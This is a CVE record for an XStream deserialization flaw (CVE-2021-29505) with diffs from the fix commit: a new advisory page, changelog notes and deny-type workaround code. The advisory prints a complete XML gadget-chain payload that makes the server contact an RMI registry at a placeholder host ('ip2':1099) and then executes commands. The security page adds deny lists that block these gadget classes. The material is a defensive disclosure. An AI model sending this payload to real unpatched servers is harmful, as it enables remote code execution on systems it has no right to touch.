CVE-2021-29505 (published 2021-05-28T21:15Z)

XStream is software for serializing Java objects to XML and back again. A vulnerability in XStream versions prior to 1.4.17 may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types is affected. The vulnerability is patched in version 1.4.17.

Severity: MEDIUM
CVSS v2 base score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
CVSS v3 base score: 8.8, HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Weakness information:
cwe_id: CWE-94
cwe_name: Improper Control of Generation of Code ('Code Injection')
description: The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
extended_description: 
            When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. Such an alteration could lead to arbitrary code execution.
            Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.
         
         
cwe_id: CWE-502
cwe_name: Deserialization of Untrusted Data
description: The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
extended_description: 
            It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.
            Data that is untrusted can not be trusted to be well-formed.
            When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.
         
         

Fix information:
repo_url: https://github.com/x-stream/xstream
commit_details: repo_url: https://github.com/x-stream/xstream
author: joehni
author_date: 2021-05-10 22:56:17+02:00
msg: Add description of CVE-2021-29505 and bug fix.
repository: repo_url: https://github.com/x-stream/xstream
repo_name: x-stream/xstream
description: Serialize Java objects to XML and back again.
repo_language: Java
owner: x-stream
file_changes: filename: CVE-2021-29505.html
change_type: ModificationType.ADD
diff: @@ -0,0 +1,119 @@
+<html>
+<!--
+ Copyright (C) 2021 XStream committers.
+ All rights reserved.
+ 
+ The software in this package is published under the terms of the BSD
+ style license a copy of which has been included with this distribution in
+ the LICENSE.txt file.
+ 
+ Created on 8. May 2021 by Joerg Schaible
+ -->
+  <head>
+    <title>CVE-2021-29505</title>
+  </head>
+  <body>
+
+    <h2 id="vulnerability">Vulnerability</h2>
+    
+    <p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p>
+	
+    <h2 id="affected_versions">Affected Versions</h2>
+    
+	<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is
+	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
+	framework</a> with a whitelist limited to the minimal required types.</p>
+
+    <h2 id="description">Description</h2>
+    
+    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
+    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
+    input stream and replace or inject objects, that result in execution of a local command on the server.</p>
+
+    <h2 id="reproduction">Steps to Reproduce</h2>
+
+	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
+	unmarshal it again with XStream:</p>
+<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
+  &lt;unserializable-parents/&gt;
+  &lt;java.util.PriorityQueue&gt;
+    &lt;default&gt;
+      &lt;size&gt;2&lt;/size&gt;
+    &lt;/default&gt;
+    &lt;int&gt;3&lt;/int&gt;
+    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
+      &lt;type&gt;12345&lt;/type&gt;
+      &lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
+        &lt;m__obj class='string'&gt;com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;&lt;/m__obj&gt;
+      &lt;/value&gt;
+    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
+    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
+      &lt;type&gt;12345&lt;/type&gt;
+      &lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
+        &lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
+          &lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
+          &lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
+          &lt;bodyParts/&gt;
+          &lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
+            &lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
+            &lt;multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
+              &lt;soapPart/&gt;
+              &lt;mm&gt;
+                &lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
+                  &lt;aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'&gt;
+                    &lt;candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'&gt;
+                      &lt;names&gt;
+                        &lt;string&gt;aa&lt;/string&gt;
+                        &lt;string&gt;aa&lt;/string&gt;
+                      &lt;/names&gt;
+                      &lt;ctx&gt;
+                        &lt;environment/&gt;
+                        &lt;registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'&gt;
+                          &lt;java.rmi.server.RemoteObject&gt;
+                            &lt;string&gt;UnicastRef&lt;/string&gt;
+                            &lt;string&gt;ip2&lt;/string&gt;
+                            &lt;int&gt;1099&lt;/int&gt;
+                            &lt;long&gt;0&lt;/long&gt;
+                            &lt;int&gt;0&lt;/int&gt;
+                            &lt;short&gt;0&lt;/short&gt;
+                            &lt;boolean&gt;false&lt;/boolean&gt;
+                          &lt;/java.rmi.server.RemoteObject&gt;
+                        &lt;/registry&gt;
+                        &lt;host&gt;ip2&lt;/host&gt;
+                        &lt;port&gt;1099&lt;/port&gt;
+                      &lt;/ctx&gt;
+                    &lt;/candidates&gt;
+                  &lt;/aliases&gt;
+                &lt;/it&gt;
+              &lt;/mm&gt;
+            &lt;/multiPart&gt;
+          &lt;/sm&gt;
+        &lt;/message&gt;
+      &lt;/value&gt;
+    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
+  &lt;/java.util.PriorityQueue&gt;
+&lt;/java.util.PriorityQueue&gt;
+</pre></div>
+<div class="Source Java"><pre>XStream xstream = new XStream();
+xstream.fromXML(xml);
+</pre></div>
+
+    <p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p>
+
+    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
+
+    <h2 id="impact">Impact</h2>
+
+	<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by
+	manipulating the processed input stream.</p>
+
+    <h2 id="workarounds">Workarounds</h2>
+
+    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
+
+    <h2 id="credits">Credits</h2>
+    
+    <p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p>
+    
+  	</body>
+ </html>

programming_language: Java
filename: changes.html
change_type: ModificationType.MODIFY
diff: @@ -101,11 +101,26 @@
 		<li>No support for Hibernate 3 collections.</li>
 	</ul>
 
-<!--
 	<h1 id="upcoming-1.4.x">Upcoming 1.4.x maintenance release</h1>
 
 	<p>Not yet released.</p>
--->
+
+	<p class="highlight">This maintenance release addresses the security vulnerability
+	<a href="CVE-2020-26258.html">CVE-2021-29505</a>, when unmarshalling with XStream instances using an uninitialized
+	security framework.</p>
+
+	<h2>Stream compatibility</h2>
+
+	<ul>
+		<li>The following types are now blacklisted by default and the deserialization
+		of XML containing one of the two types will fail.  You will have to enable these types by explicit
+		configuration, if you need them:<br>
+			<ul>
+				<li>any type in the java.rmi.* and sun.rmi.* package hierarchies</li>
+				<li>the individual type com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl</li>
+			</ul>
+		</li>
+	</ul>
 
 	<h1 id="1.4.16">1.4.16</h1>
 

programming_language: HTML
filename: security.html
change_type: ModificationType.MODIFY
diff: @@ -44,11 +44,20 @@
     Exposure (CVE) system managed by the <a href="http://www.mitre.org/">Mitre Corporation</a>. Following a list of the
     reported vulnerabilities for the different versions:</p>
     
-    <table summary="Table of reported vulnerabilities daocumented as CVE">
+    <table summary="Table of reported vulnerabilities documented as CVE">
       <tr>
         <th>CVE</th>
         <th>Description</th>
       </tr>
+      <tr>
+        <th>Version 1.4.16</th>
+        <td></td>
+        <td></td>
+      </tr>
+      <tr>
+        <th><a href="CVE-2021-29505.html">CVE-2021-29505</a></th>
+        <td>XStream is vulnerable to a Remote Command Execution attack.</td>
+      </tr>
       <tr>
         <th>Version 1.4.15</th>
         <td></td>
@@ -393,8 +402,11 @@ xstream.allowTypesByWildcard(Blog.class.getPackage().getName()+".*");
 <div class="Source Java"><pre>XStream xstream = new XStream();
 // add your allowed types, type hierarchies or packages here
 </pre></div>
-    <p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
+    <p>Users of XStream 1.4.16 who insist to use XStream default blacklist - despite that clear recommendation - can
     add these lines to XStream's setup code:</p>
+<div class="Source Java"><pre>xstream.denyTypesByRegExp(new String[]{ ".*\\.Lazy(?:Search)?Enumeration.*", "(?:java|sun)\\.rmi\\..*" });
+</pre></div>
+    <p>Users of XStream 1.4.15 should <strong>additionally</strong> add these lines to the lines from above:</p>
 <div class="Source Java"><pre>xstream.denyTypes(new String[]{ "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator" });
 xstream.denyTypesByRegExp(new String[]{ ".*\\$ServiceNameIterator", "javafx\\.collections\\.ObservableList\\$.*", ".*\\.bcel\\..*\\.util\\.ClassLoader" });
 xstream.denyTypeHierarchy(java.io.InputStream.class );
@@ -402,7 +414,7 @@ xstream.denyTypeHierarchy(java.nio.channels.Channel.class );
 xstream.denyTypeHierarchy(javax.activation.DataSource.class );
 xstream.denyTypeHierarchy(javax.sql.rowset.BaseRowSet.class );
 </pre></div>
-    <p>Users of XStream 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
+    <p>Users of XStream 1.4.14 and 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
 <div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
 xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
 </pre></div>

programming_language: HTML
filename: website.xml
change_type: ModificationType.MODIFY
diff: @@ -74,6 +74,7 @@
         <page>CVE-2021-21349.html</page>
         <page>CVE-2021-21350.html</page>
         <page>CVE-2021-21351.html</page>
+        <page>CVE-2021-29505.html</page>
         <page>CVE-2020-26217.html</page>
         <page>CVE-2020-26258.html</page>
         <page>CVE-2020-26259.html</page>

programming_language: HTML